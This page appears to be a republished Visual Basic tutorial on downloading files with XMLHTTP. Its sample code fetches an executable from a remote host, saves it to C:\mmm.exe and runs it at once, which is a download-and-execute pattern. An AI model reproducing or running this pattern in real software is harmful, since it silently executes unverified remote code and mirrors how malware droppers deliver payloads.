Using XMLHTTP to download remote files in VB

Source: Internet
Author: User
xml| Download


Establish a VB project, Project1
Adding references: Microsoft scripting Runtime,microsoft Active Data object,microsoft MsXml

Form1 Code:

Public A as MSXML2. XMLHTTP


Private Sub Command1_Click ()
Dim D as Class1
Set a = New MSXML2. XMLHTTP
A.open "Get", "Http://www.ljc.com/sll.exe", True
Set d = New Class1
A.onreadystatechange = d
A.send
End Sub

Class1 Code:

Dim B as ADODB. Stream
Dim FSO as Scripting.FileSystemObject
Public Curreadystate as Long
Public Function Dosome ()
Debug.Print Form1.a.readystate
If form1.a.readystate = 4 Then
Www
End If
End Function
Public Function www ()
Set B = New ADODB. Stream
B.type = 1
B.open
Set FSO = New Scripting.FileSystemObject
If form1.a.readystate = 4 Then
B.write (Form1.a.responsebody)
If not FSO. FileExists ("C:\mmm.exe") Then
B.savetofile "C:\mmm.exe"
End If
End If
B.close
Set B = Nothing
If FSO. FileExists ("C:\mmm.exe") Then Shell "C:\mmm.exe", 1
Set FSO = Nothing
End Function


Note that the Class1 dosome is set to default.



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.